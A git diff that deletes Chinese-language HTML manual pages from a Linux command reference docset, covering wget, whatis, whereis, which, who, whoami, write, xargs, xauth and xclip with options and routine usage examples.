- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/wget.html b/linux-command.docset/Contents/Resources/Documents/c/wget.html deleted file mode 100644 index f9cc6d832d..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/wget.html +++ /dev/null @@ -1,306 +0,0 @@ - - - - - - - - - - - wget 命令,Linux wget 命令详解:Linux系统下载文件工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

wget

-

Linux系统下载文件工具

-

补充说明

-

wget命令 用来从指定的URL下载文件。wget非常稳定,它在带宽很窄的情况下和不稳定网络中有很强的适应性,如果是由于网络的原因下载失败,wget会不断的尝试,直到整个文件下载完毕。如果是服务器打断下载过程,它会再次联到服务器上从停止的地方继续下载。这对从那些限定了链接时间的服务器上下载大文件非常有用。

-

wget支持HTTP,HTTPS和FTP协议,可以使用HTTP代理。所谓的自动下载是指,wget可以在用户退出系统的之后在后台执行。这意味这你可以登录系统,启动一个wget下载任务,然后退出系统,wget将在后台执行直到任务完成,相对于其它大部分浏览器在下载大量数据时需要用户一直的参与,这省去了极大的麻烦。

-

用于从网络上下载资源,没有指定目录,下载资源回默认为当前目录。wget虽然功能强大,但是使用起来还是比较简单:

-
    -
  1. 支持断点下传功能 这一点,也是网络蚂蚁和FlashGet当年最大的卖点,现在,Wget也可以使用此功能,那些网络不是太好的用户可以放心了;
  2. -
  3. 同时支持FTP和HTTP下载方式 尽管现在大部分软件可以使用HTTP方式下载,但是,有些时候,仍然需要使用FTP方式下载软件;
  4. -
  5. 支持代理服务器 对安全强度很高的系统而言,一般不会将自己的系统直接暴露在互联网上,所以,支持代理是下载软件必须有的功能;
  6. -
  7. 设置方便简单 可能,习惯图形界面的用户已经不是太习惯命令行了,但是,命令行在设置上其实有更多的优点,最少,鼠标可以少点很多次,也不要担心是否错点鼠标;
  8. -
  9. 程序小,完全免费 程序小可以考虑不计,因为现在的硬盘实在太大了;完全免费就不得不考虑了,即使网络上有很多所谓的免费软件,但是,这些软件的广告却不是我们喜欢的。
  10. -
-

语法

-
wget [参数] [URL地址]
-
-

选项

-
启动参数:
-
--V, –-version 显示wget的版本后退出
--h, –-help 打印语法帮助
--b, –-background 启动后转入后台执行
--e, –-execute=COMMAND 执行 `.wgetrc’格式的命令,wgetrc格式参见/etc/wgetrc或~/.wgetrc
-
-记录和输入文件参数:
-
--o, –-output-file=FILE 把记录写到FILE文件中
--a, –-append-output=FILE 把记录追加到FILE文件中
--d, –-debug 打印调试输出
--q, –-quiet 安静模式(没有输出)
--v, –-verbose 冗长模式(这是缺省设置)
--nv, –-non-verbose 关掉冗长模式,但不是安静模式
--i, –-input-file=FILE 下载在FILE文件中出现的URLs
--F, –-force-html 把输入文件当作HTML格式文件对待
--B, –-base=URL 将URL作为在-F -i参数指定的文件中出现的相对链接的前缀
-–-sslcertfile=FILE 可选客户端证书
-–-sslcertkey=KEYFILE 可选客户端证书的KEYFILE
-–-egd-file=FILE 指定EGD socket的文件名
-
-下载参数:
-
-–-bind-address=ADDRESS 指定本地使用地址(主机名或IP,当本地有多个IP或名字时使用)
--t, –-tries=NUMBER 设定最大尝试链接次数(0 表示无限制).
--O –-output-document=FILE 把文档写到FILE文件中
--nc, –-no-clobber 不要覆盖存在的文件或使用.#前缀
--c, –-continue 接着下载没下载完的文件
-–progress=TYPE 设定进程条标记
--N, –-timestamping 不要重新下载文件除非比本地文件新
--S, –-server-response 打印服务器的回应
-–-spider 不下载任何东西
--T, –-timeout=SECONDS 设定响应超时的秒数
--w, –-wait=SECONDS 两次尝试之间间隔SECONDS秒
-–waitretry=SECONDS 在重新链接之间等待1…SECONDS秒
-–random-wait 在下载之间等待0…2*WAIT秒
--Y, –-proxy=on/off 打开或关闭代理
--Q, –-quota=NUMBER 设置下载的容量限制
--–limit-rate=RATE 限定下载输率
-
-目录参数:
-
--nd –-no-directories 不创建目录
--x, –-force-directories 强制创建目录
--nH, –-no-host-directories 不创建主机目录
--P, –-directory-prefix=PREFIX 将文件保存到目录 PREFIX/…
-–cut-dirs=NUMBER 忽略 NUMBER层远程目录
-
-HTTP 选项参数:
-
--–http-user=USER 设定HTTP用户名为 USER.
--–http-passwd=PASS 设定http密码为 PASS
--C, –-cache=on/off 允许/不允许服务器端的数据缓存 (一般情况下允许)
--E, –-html-extension 将所有text/html文档以.html扩展名保存
--–ignore-length 忽略 `Content-Length’头域
--–header=STRING 在headers中插入字符串 STRING
--–proxy-user=USER 设定代理的用户名为 USER
--–proxy-passwd=PASS 设定代理的密码为 PASS
--–referer=URL 在HTTP请求中包含 `Referer: URL’头
--s, –-save-headers 保存HTTP头到文件
--U, –-user-agent=AGENT 设定代理的名称为 AGENT而不是 Wget/VERSION
--–no-http-keep-alive 关闭 HTTP活动链接 (永远链接)
-–-cookies=off 不使用 cookies
-–-load-cookies=FILE 在开始会话前从文件 FILE中加载cookie
--–save-cookies=FILE 在会话结束后将 cookies保存到 FILE文件中
-
-FTP 选项参数:
-
--nr, -–dont-remove-listing 不移走 `.listing’文件
--g, -–glob=on/off 打开或关闭文件名的 globbing机制
--–passive-ftp 使用被动传输模式 (缺省值).
--–active-ftp 使用主动传输模式
--–retr-symlinks 在递归的时候,将链接指向文件(而不是目录)
-
-递归下载参数:
-
--r, -–recursive 递归下载--慎用!
--l, -–level=NUMBER 最大递归深度 (inf 或 0 代表无穷)
-–-delete-after 在现在完毕后局部删除文件
--k, –-convert-links 转换非相对链接为相对链接
--K, –-backup-converted 在转换文件X之前,将之备份为 X.orig
--m, –-mirror 等价于 -r -N -l inf -nr
--p, –-page-requisites 下载显示HTML文件的所有图片
-
-递归下载中的包含和不包含(accept/reject):
-
--A, –-accept=LIST 分号分隔的被接受扩展名的列表
--R, –-reject=LIST 分号分隔的不被接受的扩展名的列表
--D, –-domains=LIST 分号分隔的被接受域的列表
-–-exclude-domains=LIST 分号分隔的不被接受的域的列表
-–-follow-ftp 跟踪HTML文档中的FTP链接
-–-follow-tags=LIST 分号分隔的被跟踪的HTML标签的列表
--G, –-ignore-tags=LIST 分号分隔的被忽略的HTML标签的列表
--H, –-span-hosts 当递归时转到外部主机
--L, –-relative 仅仅跟踪相对链接
--I, –-include-directories=LIST 允许目录的列表
--X, –-exclude-directories=LIST 不被包含目录的列表
--np, –-no-parent 不要追溯到父目录
-wget -S –-spider url 不下载只显示过程
-
-

参数

-

URL:下载指定的URL地址。

-

实例

-

使用wget下载单个文件

-
wget http://www.jsdig.com/testfile.zip
-
-

以下的例子是从网络下载一个文件并保存在当前目录,在下载的过程中会显示进度条,包含(下载完成百分比,已经下载的字节,当前下载速度,剩余下载时间)。

-

下载并以不同的文件名保存

-
wget -O wordpress.zip http://www.jsdig.com/download.aspx?id=1080
-
-

wget默认会以最后一个符合/的后面的字符来命令,对于动态链接的下载通常文件名会不正确。

-

错误:下面的例子会下载一个文件并以名称download.aspx?id=1080保存:

-
wget http://www.jsdig.com/download?id=1
-
-

即使下载的文件是zip格式,它仍然以download.php?id=1080命名。

-

正确:为了解决这个问题,我们可以使用参数-O来指定一个文件名:

-
wget -O wordpress.zip http://www.jsdig.com/download.aspx?id=1080
-
-

wget限速下载

-
wget --limit-rate=300k http://www.jsdig.com/testfile.zip
-
-

当你执行wget的时候,它默认会占用全部可能的宽带下载。但是当你准备下载一个大文件,而你还需要下载其它文件时就有必要限速了。

-

使用wget断点续传

-
wget -c http://www.jsdig.com/testfile.zip
-
-

使用wget -c重新启动下载中断的文件,对于我们下载大文件时突然由于网络等原因中断非常有帮助,我们可以继续接着下载而不是重新下载一个文件。需要继续中断的下载时可以使用-c参数。

-

使用wget后台下载

-
wget -b http://www.jsdig.com/testfile.zip
-
-Continuing in background, pid 1840.
-Output will be written to `wget-log'.
-
-

对于下载非常大的文件的时候,我们可以使用参数-b进行后台下载,你可以使用以下命令来察看下载进度:

-
tail -f wget-log
-
-

伪装代理名称下载

-
wget --user-agent="Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16" http://www.jsdig.com/testfile.zip
-
-

有些网站能通过根据判断代理名称不是浏览器而拒绝你的下载请求。不过你可以通过--user-agent参数伪装。

-

测试下载链接

-

当你打算进行定时下载,你应该在预定时间测试下载链接是否有效。我们可以增加--spider参数进行检查。

-
wget --spider URL
-
-

如果下载链接正确,将会显示:

-
Spider mode enabled. Check if remote file exists.
-HTTP request sent, awaiting response... 200 OK
-Length: unspecified [text/html]
-Remote file exists and could contain further links,
-but recursion is disabled -- not retrieving.
-
-

这保证了下载能在预定的时间进行,但当你给错了一个链接,将会显示如下错误:

-
wget --spider url
-Spider mode enabled. Check if remote file exists.
-HTTP request sent, awaiting response... 404 Not Found
-Remote file does not exist -- broken link!!!
-
-

你可以在以下几种情况下使用--spider参数:

-
    -
  • 定时下载之前进行检查
  • -
  • 间隔检测网站是否可用
  • -
  • 检查网站页面的死链接
  • -
-

增加重试次数

-
wget --tries=40 URL
-
-

如果网络有问题或下载一个大文件也有可能失败。wget默认重试20次连接下载文件。如果需要,你可以使用--tries增加重试次数。

-

下载多个文件

-
wget -i filelist.txt
-
-

首先,保存一份下载链接文件:

-
cat > filelist.txt
-url1
-url2
-url3
-url4
-
-

接着使用这个文件和参数-i下载。

-

镜像网站

-
wget --mirror -p --convert-links -P ./LOCAL URL
-
-

下载整个网站到本地。

-
    -
  • --miror开户镜像下载。
  • -
  • -p下载所有为了html页面显示正常的文件。
  • -
  • --convert-links下载后,转换成本地的链接。
  • -
  • -P ./LOCAL保存所有文件和目录到本地指定目录。
  • -
-

过滤指定格式下载

-
wget --reject=gif ur
-
-

下载一个网站,但你不希望下载图片,可以使用这条命令。

-

把下载信息存入日志文件

-
wget -o download.log URL
-
-

不希望下载信息直接显示在终端而是在一个日志文件,可以使用。

-

限制总下载文件大小

-
wget -Q5m -i filelist.txt
-
-

当你想要下载的文件超过5M而退出下载,你可以使用。注意:这个参数对单个文件下载不起作用,只能递归下载时才有效。

-

下载指定格式文件

-
wget -r -A.pdf url
-
-

可以在以下情况使用该功能:

-
    -
  • 下载一个网站的所有图片。
  • -
  • 下载一个网站的所有视频。
  • -
  • 下载一个网站的所有PDF文件。
  • -
-

FTP下载

-
wget ftp-url
-wget --ftp-user=USERNAME --ftp-password=PASSWORD url
-
-

可以使用wget来完成ftp链接的下载。

-

使用wget匿名ftp下载:

-
wget ftp-url
-
-

使用wget用户名和密码认证的ftp下载:

-
wget --ftp-user=USERNAME --ftp-password=PASSWORD url
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/whatis.html b/linux-command.docset/Contents/Resources/Documents/c/whatis.html deleted file mode 100644 index 1ca03485aa..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/whatis.html +++ /dev/null @@ -1,100 +0,0 @@ - - - - - - - - - - - whatis 命令,Linux whatis 命令详解:查询一个命令执行什么功能 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

whatis

-

查询一个命令执行什么功能

-

补充说明

-

whatis命令 是用于查询一个命令执行什么功能,并将查询结果打印到终端上。

-

whatis命令在用catman -w命令创建的数据库中查找command参数指定的命令、系统调用、库函数或特殊文件名。whatis命令显示手册部分的页眉行。然后可以发出man命令以获取附加的信息。whatis命令等同于使用man -f命令。

-

语法

-
whatis
-
-

实例

-
[root@localhost ~]# whatis ls
-ls                   (1)  - list directory contents
-ls                   (1p)  - list directory contents
-
-[root@localhost ~]# whatis cp
-cp                   (1)  - copy files and directories
-cp                   (1p)  - copy files
-
-[root@localhost ~]# whatis chown
-chown                (1)  - change file owner and group
-chown                (1p)  - change the file ownership
-chown                (2)  - change ownership of a file
-chown                (3p)  - change owner and group of a file
-
-[root@localhost ~]# whatis man
-man                  (1)  - format and display the on-line manual pages
-man                  (1p)  - display system documentation
-man                  (7)  - macros to format man pages
-man                 (rpm) - A set of documentation tools: man, apropos and whatis.
-man-pages           (rpm) - Man (manual) pages from the Linux Documentation Project.
-man.config [man]     (5)  - configuration data for man
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/whereis.html b/linux-command.docset/Contents/Resources/Documents/c/whereis.html deleted file mode 100644 index 1bedfe1b72..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/whereis.html +++ /dev/null @@ -1,110 +0,0 @@ - - - - - - - - - - - whereis 命令,Linux whereis 命令详解:查找二进制程序、代码等相关文件路径 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

whereis

-

查找二进制程序、代码等相关文件路径

-

补充说明

-

whereis命令 用来定位指令的二进制程序、源代码文件和man手册页等相关文件的路径。

-

whereis命令只能用于程序名的搜索,而且只搜索二进制文件(参数-b)、man说明文件(参数-m)和源代码文件(参数-s)。如果省略参数,则返回所有信息。

-

和find相比,whereis查找的速度非常快,这是因为linux系统会将 系统内的所有文件都记录在一个数据库文件中,当使用whereis和下面即将介绍的locate时,会从数据库中查找数据,而不是像find命令那样,通 过遍历硬盘来查找,效率自然会很高。 但是该数据库文件并不是实时更新,默认情况下时一星期更新一次,因此,我们在用whereis和locate 查找文件时,有时会找到已经被删除的数据,或者刚刚建立文件,却无法查找到,原因就是因为数据库文件没有被更新。

-

语法

-
whereis(选项)(参数)
-
-

选项

-
-b:只查找二进制文件;
--B<目录>:只在设置的目录下查找二进制文件;
--f:不显示文件名前的路径名称;
--m:只查找说明文件;
--M<目录>:只在设置的目录下查找说明文件;
--s:只查找原始代码文件;
--S<目录>只在设置的目录下查找原始代码文件;
--u:查找不包含指定类型的文件。
-
-

参数

-

指令名:要查找的二进制程序、源文件和man手册页的指令名。

-

实例

-

将相关的文件都查找出来

-
[root@localhost ~]# whereis tomcat
-tomcat:
-
-[root@localhost ~]# whereis svn
-svn: /usr/bin/svn /usr/local/svn /usr/share/man/man1/svn.1.gz
-
-

说明:tomcat没安装,找不出来,svn安装找出了很多相关文件

-

只将二进制文件查找出来 

-
[root@localhost ~]# whereis -b svn
-svn: /usr/bin/svn /usr/local/svn
-
-[root@localhost ~]# whereis -m svn
-svn: /usr/share/man/man1/svn.1.gz
-
-[root@localhost ~]# whereis -s svn
-svn:
-
-

说明:whereis -m svn查出说明文档路径,whereis -s svn找source源文件。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/which.html b/linux-command.docset/Contents/Resources/Documents/c/which.html deleted file mode 100644 index 9f2f00e0cc..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/which.html +++ /dev/null @@ -1,98 +0,0 @@ - - - - - - - - - - - which 命令,Linux which 命令详解:查找并显示给定命令的绝对路径 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

which

-

查找并显示给定命令的绝对路径

-

补充说明

-

which命令 用于查找并显示给定命令的绝对路径,环境变量PATH中保存了查找命令时需要遍历的目录。which指令会在环境变量$PATH设置的目录里查找符合条件的文件。也就是说,使用which命令,就可以看到某个系统命令是否存在,以及执行的到底是哪一个位置的命令。

-

语法

-
which(选项)(参数)
-
-

选项

-
-n<文件名长度>:制定文件名长度,指定的长度必须大于或等于所有文件中最长的文件名;
--p<文件名长度>:与-n参数相同,但此处的<文件名长度>包含了文件的路径;
--w:指定输出时栏位的宽度;
--V:显示版本信息。
-
-

参数

-

指令名:指令名列表。

-

实例

-

查找文件、显示命令路径:

-
[root@localhost ~]# which pwd
-/bin/pwd
-
-[root@localhost ~]# which adduser
-/usr/sbin/adduser
-
-

说明:which是根据使用者所配置的 PATH 变量内的目录去搜寻可运行档的!所以,不同的 PATH 配置内容所找到的命令当然不一样的!

-

用 which 去找出 cd

-
[root@localhost ~]# which cd
-cd: shell built-in command
-
-

cd 这个常用的命令竟然找不到啊!为什么呢?这是因为 cd 是bash 内建的命令! 但是 which 默认是找 PATH 内所规范的目录,所以当然一定找不到的!

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/who.html b/linux-command.docset/Contents/Resources/Documents/c/who.html deleted file mode 100644 index b0c90725f5..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/who.html +++ /dev/null @@ -1,128 +0,0 @@ - - - - - - - - - - - who 命令,Linux who 命令详解:显示当前所有登陆用户的信息。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

who

-

显示当前所有登陆用户的信息。

-

概要

-
who [OPTION]... [file] [am i]
-
-

主要用途

-
    -
  • 当没有给出非选项参数时,按以下字段顺序为每个当前用户打印信息:登录用户名称,终端信息,登录时间,远程主机或X display。
  • -
  • 当用户执行 who am i 时,只显示运行该命令的用户的信息。
  • -
-

选项

-
-a, --all                                等价于调用 '-b -d --login -p -r -t -T -u'。
--b, --boot                               上次系统启动的时间。
--d, --dead                               打印 dead 状态的进程。
--H, --heading                            打印列标题行。
--l, --login                              打印系统登录进程。
---lookup                                 尝试通过 DNS 规范主机名。
--m                                       仅显示和标准输入关联的主机名和用户。
--p, --process                            打印由 init 生成的活动进程。
--q, --count                              列出所有已登录的用户的名称和数量。
--r, --runlevel                           打印当前运行级别。
--s, --short                              仅打印名称、行和时间(默认)。
--t, --time                               打印上次系统时钟更改。
--T, -w, --mesg, --message, --writable    将 '+、-、?' 中的一个作为用户的消息状态添加到用户名称后面。
--u, --users                              列出登录的用户。
---help                                   显示帮助信息并退出。
---version                                显示版本信息并退出。
-
-关于 -T 选项的 '+、-、?':
-'+'  允许写入信息
-'-'  禁止写入信息
-'?'  不能查找到终端设备
-
-

参数

-

file(可选):指定 file 代替默认的 /var/run/utmp/etc/utmp ;通常使用 /var/log/wtmp 作为参数用于查看过去登陆系统的用户。

-

返回值

-

返回0表示成功,返回非0值表示失败。

-

例子

-
[root@localhost ~]# who
-root     pts/0        2013-08-19 15:04 (192.168.0.134)
-root     pts/1        2013-12-20 10:37 (180.111.155.40)
-
-[root@localhost ~]# who -q
-root root
-# users=2
-
-[root@localhost ~]# who -H
-NAME     LINE         time             COMMENT
-root     pts/0        2013-08-19 15:04 (192.168.0.134)
-root     pts/1        2013-12-20 10:37 (180.111.155.40)
-
-[root@localhost ~]# who -w
-root     + pts/0        2013-08-19 15:04 (192.168.0.134)
-root     + pts/1        2013-12-20 10:37 (180.111.155.40)
-
-

注意

-
    -
  1. 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 whoinfo coreutils 'who invocation'
  2. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/whoami.html b/linux-command.docset/Contents/Resources/Documents/c/whoami.html deleted file mode 100644 index 291b535189..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/whoami.html +++ /dev/null @@ -1,94 +0,0 @@ - - - - - - - - - - - whoami 命令,Linux whoami 命令详解:打印当前有效的用户ID对应的名称 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

whoami

-

打印当前有效的用户ID对应的名称

-

概要

-
whoami [OPTION]...
-
-

主要用途

-
    -
  • 打印当前有效的用户ID对应的名称。
  • -
-

选项

-
--help       显示帮助信息并退出。
---version    显示版本信息并退出。
-
-

返回值

-

返回0表示成功,返回非0值表示失败。

-

例子

-
[root@localhost ~]# whoami
-root
-
-

注意

-
    -
  1. 该命令等价于 id -un
  2. -
  3. 注意区分 whoamilogname 这两个命令;比如我们以用户 root 打开的终端,然后切换到了用户 user2。此时, whoami返回的是当前用户 user2, logname 返回的是 root,大家可以自行实践验证一下。
  4. -
  5. 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 whoamiinfo coreutils 'whoami invocation'
  6. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/write.html b/linux-command.docset/Contents/Resources/Documents/c/write.html deleted file mode 100644 index 9bf01efe67..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/write.html +++ /dev/null @@ -1,90 +0,0 @@ - - - - - - - - - - - write 命令,Linux write 命令详解:向指定登录用户终端上发送信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

write

-

向指定登录用户终端上发送信息

-

补充说明

-

write命令 用于向指定登录用户终端上发送信息。通过write命令可传递信息给另一位登入系统的用户,当输入完毕后,键入EOF表示信息结束,write命令就会将信息传给对方。如果接收信息的用户不只登入本地主机一次,你可以指定接收信息的终端机编号。

-

语法

-
write(参数)
-
-

参数

-
用户:指定要接受信息的登录用户;
-登陆终端:指定接收信息的用户的登录终端。
-
-

实例

-

传信息给Rollaend,此时Rollaend只有一个连线 : 

-
write Rollaend
-
-

接下来就是将信息打上去,结束请Ctrl+C:

-

传信息给Rollaend、Rollaend的连线有pts/2、pts/3:

-
write Rollaend pts/2
-
-

接下来就是将信息打上去,结束请Ctrl+C:

-

若对方设定mesg n,则此时信息将无法传给对方。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/xargs.html b/linux-command.docset/Contents/Resources/Documents/c/xargs.html deleted file mode 100644 index cba0d564c1..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/xargs.html +++ /dev/null @@ -1,209 +0,0 @@ - - - - - - - - - - - xargs 命令,Linux xargs 命令详解:给其他命令传递参数的一个过滤器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

xargs

-

给其他命令传递参数的一个过滤器

-

补充说明

-

xargs 命令 是给其他命令传递参数的一个过滤器,也是组合多个命令的一个工具。它擅长将标准输入数据转换成命令行参数,xargs 能够处理管道或者 stdin 并将其转换成特定命令的命令参数。xargs 也可以将单行或多行文本输入转换为其他格式,例如多行变单行,单行变多行。xargs 的默认命令是 echo,空格是默认定界符。这意味着通过管道传递给 xargs 的输入将会包含换行和空白,不过通过 xargs 的处理,换行和空白将被空格取代。xargs 是构建单行命令的重要组件之一。

-

xargs 命令用法

-

xargs 用作替换工具,读取输入数据重新格式化后输出。

-

定义一个测试文件,内有多行文本数据:

-
cat test.txt
-
-a b c d e f g
-h i j k l m n
-o p q
-r s t
-u v w x y z
-
-

多行输入单行输出:

-
cat test.txt | xargs
-
-a b c d e f g h i j k l m n o p q r s t u v w x y z
-
-

使用 -n 进行多行输出

-

-n 选项 多行输出:

-
cat test.txt | xargs -n3
-
-a b c
-d e f
-g h i
-j k l
-m n o
-p q r
-s t u
-v w x
-y z
-
-

使用 -d 分割输入

-

-d 选项 可以自定义一个定界符:

-
echo "nameXnameXnameXname" | xargs -dX
-
-name name name name
-
-

结合 -n 选项 使用:

-
echo "nameXnameXnameXname" | xargs -dX -n2
-
-name name
-name name
-
-

读取 stdin

-

读取 stdin,将格式化后的参数传递给命令

-

假设一个命令为 sk.sh 和一个保存参数的文件 arg.txt:

-
#!/bin/bash
-#sk.sh 命令内容,打印出所有参数。
-
-echo $*
-
-

arg.txt 文件内容:

-
cat arg.txt
-
-aaa
-bbb
-ccc
-
-

结合 -I 选项

-

xargs 的一个 选项 -I ,使用 -I 指定一个替换字符串{},这个字符串在 xargs 扩展时会被替换掉,当 -I 与 xargs 结合使用,每一个参数命令都会被执行一次:

-
cat arg.txt | xargs -I {} ./sk.sh -p {} -l
-
--p aaa -l
--p bbb -l
--p ccc -l
-
-

复制所有图片文件到 /data/images 目录下:

-
ls *.jpg | xargs -n1 -I cp {} /data/images
-
-

结合 find 命令使用

-

xargs 结合 find 使用

-

用 rm 删除太多的文件时候,可能得到一个错误信息:/bin/rm Argument list too long. 用 xargs 去避免这个问题:

-
find . -type f -name "*.log" -print0 | xargs -0 rm -f
-
-

xargs -0 将 \0 作为定界符。

-

统计一个源代码目录中所有 php 文件的行数:

-
find . -type f -name "*.php" -print0 | xargs -0 wc -l
-
-

查找所有的 jpg 文件,并且压缩它们:

-
find . -type f -name "*.jpg" -print | xargs tar -czvf images.tar.gz
-
-

打印出执行的命令

-

结合 -t 选项可以打印出 xargs 执行的命令

-
ls | xargs -t -I{} echo {}
-
-

会输出当前目录下的文件列表和执行的 echo 命令

-

使用 -p 选项确认执行的命令

-

-p 选项会在执行每一个命令时弹出确认,当你需要非常准确的确认每一次操作时可以使用 -p 参数,比如,查找当前目录下 .log 文件,每一次删除都需要确认:

-
find . -maxdepth 1 -name "*.log" | xargs -p -I{} rm {}
-
-

执行多个命令

-

使用 -I 选项可以让 xargs 执行多个命令

-
cat foo.txt
-one
-two
-three
-
-cat foo.txt | xargs -I % sh -c 'echo %; mkdir %'
-one
-two
-three
-
-ls
-one two three
-
-

其他应用

-

xargs 其他应用

-

假如你有一个文件包含了很多你希望下载的 URL,你能够使用 xargs 下载所有链接:

-
cat url-list.txt | xargs wget -c
-
-

子 Shell(Subshells)

-

运行一个 shell 脚本时会启动另一个命令解释器.,就好像你的命令是在命令行提示下被解释的一样,类似于批处理文件里的一系列命令。每个 shell 脚本有效地运行在父 shell(parent shell) 的一个子进程里。这个父 shell 是指在一个控制终端或在一个 xterm 窗口中给你命令指示符的进程。

-
cmd1 | ( cmd2; cmd3; cmd4 ) | cmd5
-
-

如果 cmd2 是 cd /,那么就会改变子 Shell 的工作目录,这种改变只是局限于子 shell 内部,cmd5 则完全不知道工作目录发生的变化。子 shell 是嵌在圆括号 () 内部的命令序列,子 Shell 内部定义的变量为局部变量。

-

子 shell 可用于为一组命令设定临时的环境变量:

-
COMMAND1
-COMMAND2
-COMMAND3
-(
-  IFS=:
-  PATH=/bin
-  unset TERMINFO
-  set -C
-  shift 5
-  COMMAND4
-  COMMAND5
-  exit 3 # 只是从子 shell 退出。
-)
-# 父 shell 不受影响,变量值没有更改。
-COMMAND6
-COMMAND7
-
-

reference

- - -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/xauth.html b/linux-command.docset/Contents/Resources/Documents/c/xauth.html deleted file mode 100644 index 165b008f5b..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/xauth.html +++ /dev/null @@ -1,97 +0,0 @@ - - - - - - - - - - - xauth 命令,Linux xauth 命令详解:显示和编辑被用于连接X服务器的认证信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

xauth

-

显示和编辑被用于连接X服务器的认证信息

-

补充说明

-

xauth命令 用于显示和编辑被用于连接X服务器的认证信息。

-

语法

-
xauth(选项)(参数)
-
-

选项

-
-f:不使用默认的认证文件,而使用指定的认证文件;
--q:安静模式,不打印未请求的状态信息;
--v:详细模式,打印指定的各种操作信息;
--i:忽略认证文件锁定;
--b:执行任何操作,终端认证文件锁定。
-
-

参数

-
    -
  • add:添加认证条目到认证文件中;
  • -
  • extract:将指定的设备内容加入到指定的密码文件中;
  • -
  • info:显示授权文件相关信息;
  • -
  • exit:退出交互模式;
  • -
  • list:列出给定的显示设备的内容;
  • -
  • merge:合并多个授权文件内容;
  • -
  • extract:将指定设备内容写入指定的授权文件;
  • -
  • nextrct:将指定设备内容写入指定的授权文件;
  • -
  • nmerge:合并多个授权文件内容;
  • -
  • remove:删除指定显示设备的授权条目;
  • -
  • source:从指定文件读取包含xauth的内容指令。
  • -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/xclip.html b/linux-command.docset/Contents/Resources/Documents/c/xclip.html deleted file mode 100644 index 3928eb11ce..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/xclip.html +++ /dev/null @@ -1,81 +0,0 @@ - - - - - - - - - - - xclip 命令,Linux xclip 命令详解:管理 X 粘贴板 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

xclip

-

管理 X 粘贴板

-

补充说明

-

在 X 系统里面,从一个窗口复制一段文字到另一个窗口,有两套机制,分别是 Selections 和 cut buffers。

-

常用的 copy & paste 是利用的 cut buffers 机制;另外用鼠标选中一段文字,然后在另一个窗口按鼠标中键实现复制,利用的是 selections 机制。selection 又可以分为 master 和 slave selection。

-

当用鼠标选中一段文件,这段文字就自动被复制到 master selection。然后在另一个地方按鼠标中键,就自动把 master selection 的内容粘贴出来。

-

当你想复制少量文字的时候,两种方法都是很方便的。但是当复制大段文字的时候就挺麻烦。另外就是你可能会频繁的执行一些复制粘贴工作,不停的用鼠标选中文字,然后再粘贴。这是对手指的折磨。

-

我忍受不了这种折磨,所以发现了 xclip, 方便的管理 X selections 里面内容的工具。

-

比如如下命令就把文件 /etc/passwd 的内容复制到 X master selections 里面了。

-
xclip -i /etc/passwd
-
-

然后到别的地方就能复制出来,利用鼠标中键。或者是更舒服的 shift+insert。 我现在最常用的方法是通过键盘绑定来管理 X master selections 的内容。比如 alt+F1 就能把我的 ~/f1 的内容复制到 X master selections,alt+F2 复制 ~/f2 的内容。这样就能把你需要经常用到的内容方便的进行复制粘贴。比如常用的密码啥的。

- -
